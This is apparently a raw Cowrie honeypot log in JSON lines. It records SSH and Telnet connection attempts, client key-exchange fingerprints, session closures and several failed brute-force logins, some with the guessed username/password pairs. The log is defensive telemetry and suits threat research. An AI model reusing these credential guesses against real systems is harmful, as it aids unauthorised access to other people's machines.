{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:41.006603Z","src_ip":"190.244.39.232","session":"b469c92bea2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.16668677330017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:41.141848Z","src_ip":"103.249.100.206","session":"aa4cca5eec42","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian2022","message":"login attempt [debian/debian2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:41.761324Z","src_ip":"190.244.39.232","session":"b469c92bea2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":33796,"dst_ip":"10.17.0.5","dst_port":23,"session":"df8dfb4c77b7","protocol":"telnet","message":"New connection: 162.241.114.254:33796 (10.17.0.5:23) [session: df8dfb4c77b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:42.831381Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:42.955476Z","src_ip":"190.244.39.232","session":"b469c92bea2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00129461288452,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:44.181902Z","src_ip":"182.253.54.171","session":"d0b6ebe7f846","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00167751312256,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:44.375130Z","src_ip":"182.253.54.171","session":"9afba80be154","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":13112,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fd11abd757d","protocol":"telnet","message":"New connection: 182.253.54.171:13112 (10.17.0.5:23) [session: 8fd11abd757d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:45.707008Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":13113,"dst_ip":"10.17.0.5","dst_port":23,"session":"f613456877c4","protocol":"telnet","message":"New connection: 182.253.54.171:13113 (10.17.0.5:23) [session: f613456877c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:46.904243Z"}
{"eventid":"cowrie.session.closed","duration":30.608608961105347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:47.358976Z","src_ip":"162.241.114.254","session":"64905c4e8f96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.38017916679382,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:48.458040Z","src_ip":"137.184.155.248","session":"f2fa210152d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00087904930115,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:49.220358Z","src_ip":"182.253.54.171","session":"e11207d665fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22864294052124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:49.523853Z","src_ip":"162.241.114.254","session":"3a8671629fbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":37772,"dst_ip":"10.17.0.5","dst_port":23,"session":"036a48467fc3","protocol":"telnet","message":"New connection: 162.241.114.254:37772 (10.17.0.5:23) [session: 036a48467fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:50.164387Z"}
{"eventid":"cowrie.session.closed","duration":49.197556018829346,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:50.285402Z","src_ip":"137.184.155.248","session":"380d516b5436","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":37820,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e1a76b463d6","protocol":"telnet","message":"New connection: 162.241.114.254:37820 (10.17.0.5:23) [session: 0e1a76b463d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:50.335089Z"}
{"eventid":"cowrie.session.closed","duration":30.827958822250366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:50.390335Z","src_ip":"103.249.100.206","session":"50d598e1bf44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":14547,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b0051e051b9","protocol":"telnet","message":"New connection: 182.253.54.171:14547 (10.17.0.5:23) [session: 4b0051e051b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:50.755476Z"}
{"eventid":"cowrie.session.closed","duration":30.14060378074646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:51.238213Z","src_ip":"162.241.114.254","session":"1f7ee552780b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":38464,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b73b5fc6727","protocol":"telnet","message":"New connection: 162.241.114.254:38464 (10.17.0.5:23) [session: 7b73b5fc6727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:51.744505Z"}
{"eventid":"cowrie.session.closed","duration":30.641963243484497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:52.195047Z","src_ip":"162.241.114.254","session":"90d5f1fae49c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":39092,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b091b0f86d3","protocol":"telnet","message":"New connection: 162.241.114.254:39092 (10.17.0.5:23) [session: 7b091b0f86d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:55.907750Z"}
{"eventid":"cowrie.session.closed","duration":30.806131839752197,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:55.913433Z","src_ip":"162.241.114.254","session":"16fe6ed89159","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":54502,"dst_ip":"159.203.135.109","dst_port":22,"session":"45e2215361ae","protocol":"ssh","message":"New connection: 102.211.152.138:54502 (159.203.135.109:22) [session: 45e2215361ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:56.201214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:56.205838Z","src_ip":"102.211.152.138","session":"45e2215361ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:56.308751Z","src_ip":"102.211.152.138","session":"45e2215361ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tempuser","password":"temp","message":"login attempt [tempuser/temp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:56.755364Z","src_ip":"102.211.152.138","session":"45e2215361ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.47227716445923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:57.492103Z","src_ip":"162.241.114.254","session":"dffec020a0f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.209249019622803,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:57.742765Z","src_ip":"162.241.114.254","session":"c0366ad369e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:18:57.862205Z","src_ip":"102.211.152.138","session":"45e2215361ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.428011655807495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:02.244545Z","src_ip":"162.241.114.254","session":"31b2d74b99bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.597447395324707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:02.279510Z","src_ip":"162.241.114.254","session":"0d0abde52d62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.300288915634155,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:04.029601Z","src_ip":"162.241.114.254","session":"cef3f57f1e7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":45442,"dst_ip":"10.17.0.5","dst_port":23,"session":"a468cd3e9200","protocol":"telnet","message":"New connection: 162.241.114.254:45442 (10.17.0.5:23) [session: a468cd3e9200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:04.755280Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":45608,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7de8a095a1c","protocol":"telnet","message":"New connection: 162.241.114.254:45608 (10.17.0.5:23) [session: c7de8a095a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:05.092776Z"}
{"eventid":"cowrie.session.closed","duration":31.195290327072144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:05.459340Z","src_ip":"162.241.114.254","session":"bf4d353cf063","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.150173902511597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:05.955259Z","src_ip":"162.241.114.254","session":"a57fae3748c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.238","src_port":41724,"dst_ip":"159.203.135.109","dst_port":22,"session":"623ca7a0e989","protocol":"ssh","message":"New connection: 192.109.200.238:41724 (159.203.135.109:22) [session: 623ca7a0e989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:08.262078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:08.314099Z","src_ip":"192.109.200.238","session":"623ca7a0e989","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:08.403719Z","src_ip":"192.109.200.238","session":"623ca7a0e989","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:59:d7:61:1c:f0:db:04:74:12:2e:73:40:87:05:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBNnrI5YzVbYZoCYNlzxmTFzQHcvh01FEy3DAUCZNfedZEgYbuLUVZ4VYh4SSBzLRo68gWEr68zBVa1r1Qj/IFRW5uBI3j3EFez8oeO3yLOhjDG5MSg5c2v/BlCgRmofBrF0oy2mdYk3Rlv5zixyBhjM7HWughPVTooSZWylEizAldpgzw7imiswuoApoLkM14WSBMV0Q4r2lQuYEEPXlogkRkpcj19HUKaI4nSJZAHMST4FoyPf4wivUQuEY4V4Ieai0q6TVpdvWlwAkjJgd8eilrdheBd4JPLDyfTfurhkjq5JukvfCBEF8QVopr1zOxkCI3CXANqc+93XEuRraL5ZTSkCPk5Jy0hlBzrHhG1uHNx8o4poyZWdy8VXP9QbMAhn30ImCAo/8990vd+FB6jbgd8TsxAiOd62F/ezg+syVb4CGPDJh3HBIHIs3iPvALS44VvqBslviklqxMX92CDKbnBcKIJfe8cYocJiMv0bTNSYYiMGoU31cWX7RPXzlyRjoMMOcIvv3jmPaZjLFb+6KLjGJP8wBYlCvaaSeHa+aLHtt1NRm/VbtkKAs1hcUx7YoqfyEXEI21CYd1O4aLidOI4yZxhhc3jslv/t0yYX7EZglhFyqdbVfVqXrMhuzh4wROSsgdwBbZ+6UtbYqrKGQgiWoFbwNKlgSE3aMNMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:59:d7:61:1c:f0:db:04:74:12:2e:73:40:87:05:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:09.191893Z","src_ip":"192.109.200.238","session":"623ca7a0e989","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:59:d7:61:1c:f0:db:04:74:12:2e:73:40:87:05:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBNnrI5YzVbYZoCYNlzxmTFzQHcvh01FEy3DAUCZNfedZEgYbuLUVZ4VYh4SSBzLRo68gWEr68zBVa1r1Qj/IFRW5uBI3j3EFez8oeO3yLOhjDG5MSg5c2v/BlCgRmofBrF0oy2mdYk3Rlv5zixyBhjM7HWughPVTooSZWylEizAldpgzw7imiswuoApoLkM14WSBMV0Q4r2lQuYEEPXlogkRkpcj19HUKaI4nSJZAHMST4FoyPf4wivUQuEY4V4Ieai0q6TVpdvWlwAkjJgd8eilrdheBd4JPLDyfTfurhkjq5JukvfCBEF8QVopr1zOxkCI3CXANqc+93XEuRraL5ZTSkCPk5Jy0hlBzrHhG1uHNx8o4poyZWdy8VXP9QbMAhn30ImCAo/8990vd+FB6jbgd8TsxAiOd62F/ezg+syVb4CGPDJh3HBIHIs3iPvALS44VvqBslviklqxMX92CDKbnBcKIJfe8cYocJiMv0bTNSYYiMGoU31cWX7RPXzlyRjoMMOcIvv3jmPaZjLFb+6KLjGJP8wBYlCvaaSeHa+aLHtt1NRm/VbtkKAs1hcUx7YoqfyEXEI21CYd1O4aLidOI4yZxhhc3jslv/t0yYX7EZglhFyqdbVfVqXrMhuzh4wROSsgdwBbZ+6UtbYqrKGQgiWoFbwNKlgSE3aMNMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:09.195776Z","src_ip":"192.109.200.238","session":"623ca7a0e989","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:09.359880Z","src_ip":"192.109.200.238","session":"623ca7a0e989","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"133.149.217.226","src_port":36028,"dst_ip":"10.17.0.5","dst_port":23,"session":"296a5bbfdd07","protocol":"telnet","message":"New connection: 133.149.217.226:36028 (10.17.0.5:23) [session: 296a5bbfdd07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:13.367245Z"}
{"eventid":"cowrie.session.closed","duration":31.011383771896362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:13.842643Z","src_ip":"162.241.114.254","session":"df8dfb4c77b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":50896,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a2b74cd6445","protocol":"telnet","message":"New connection: 162.241.114.254:50896 (10.17.0.5:23) [session: 8a2b74cd6445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:14.539149Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":46678,"dst_ip":"159.203.135.109","dst_port":22,"session":"362daa91ea75","protocol":"ssh","message":"New connection: 43.157.98.118:46678 (159.203.135.109:22) [session: 362daa91ea75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:16.402556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:16.408772Z","src_ip":"43.157.98.118","session":"362daa91ea75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:16.502789Z","src_ip":"43.157.98.118","session":"362daa91ea75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345ssdlh","message":"login attempt [root/12345ssdlh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:17.196751Z","src_ip":"43.157.98.118","session":"362daa91ea75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:18.290929Z","src_ip":"43.157.98.118","session":"362daa91ea75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":52958,"dst_ip":"10.17.0.5","dst_port":23,"session":"8efa13992e8d","protocol":"telnet","message":"New connection: 162.241.114.254:52958 (10.17.0.5:23) [session: 8efa13992e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:19.005818Z"}
{"eventid":"cowrie.session.closed","duration":31.198241710662842,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:21.362521Z","src_ip":"162.241.114.254","session":"036a48467fc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":53634,"dst_ip":"10.17.0.5","dst_port":23,"session":"da3cddec4a11","protocol":"telnet","message":"New connection: 162.241.114.254:53634 (10.17.0.5:23) [session: da3cddec4a11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:21.399248Z"}
{"eventid":"cowrie.session.closed","duration":31.716075658798218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:22.051055Z","src_ip":"162.241.114.254","session":"0e1a76b463d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.763690948486328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:19:22.508115Z","src_ip":"162.241.114.254","session":"7b73b5fc6727","protocol":"telnet"}
